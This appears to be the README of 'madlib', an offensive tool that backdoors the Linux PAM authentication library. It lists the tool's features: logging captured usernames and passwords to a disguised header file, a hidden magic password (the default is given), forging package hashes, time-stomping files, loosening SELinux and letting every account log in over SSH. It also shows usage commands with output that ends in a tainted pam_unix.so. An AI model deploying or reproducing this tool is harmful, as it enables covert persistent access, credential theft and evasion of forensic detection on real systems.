madlib

Features:

• Logs username/passwords to file
• Obfuscates backdoor password with bcrypt (helps make reverse engineering more difficult and string dumps less effective)
• Automatically updates the DPKG MD5 hashes for all moved/replaced files
• Time stomps all moved/replaced files
• Updates SE Linux configuration to allow for changed file
• Replaces /bin/false, and /bin/nologin with /bin/bash (effectively making any user able to ssh in)

Requirements:

• Requires Python3
• Root privileges needed

Default Entries:

• Username/passwords by default are logged to /usr/include/type.h
• The default magic password is secretpassxd

Usage

Manually Specifying PAM Version:

root@homebase /h/r/madlib# ./pam.py "1.3.0"
.___.__ ._____.
_____ _____ __| _/| | |__\_ |__
/ \\__ \ / __ | | | | || __ \
| Y Y \/ __ \_/ /_/ | | |_| || \_\ \
|__|_| (____ /\____ | |____/__||___ /
\/ \/ \/ \/
https://github.com/rek7/madlib/
[00:15:55] [+] PAM TAR Download Completed
[00:15:56] [+] Finishing Extracting
[00:15:56] [+] Added Backdoor
[00:16:16] [+] Finished Compiling Tainted Lib
[00:16:16] [+] Finished Successfully Compiled PAM File Moved to: '/lib/x86_64-linux-gnu/security/pam_unix.so'

Automatic Version Detection:

root@homebase /h/r/madlib# ./pam.py
.___.__ ._____.
_____ _____ __| _/| | |__\_ |__
/ \\__ \ / __ | | | | || __ \
| Y Y \/ __ \_/ /_/ | | |_| || \_\ \
|__|_| (____ /\____ | |____/__||___ /
\/ \/ \/ \/
https://github.com/rek7/madlib/
[00:17:55] [!] Detected PAM Version: '1.3.0'
[00:17:55] [+] PAM TAR Download Completed
[00:17:56] [+] Finishing Extracting
[00:17:56] [+] Added Backdoor
[00:18:16] [+] Finished Compiling Tainted Lib
[00:18:16] [+] Finished Successfully Compiled PAM File Moved to: '/lib/x86_64-linux-gnu/security/pam_unix.so'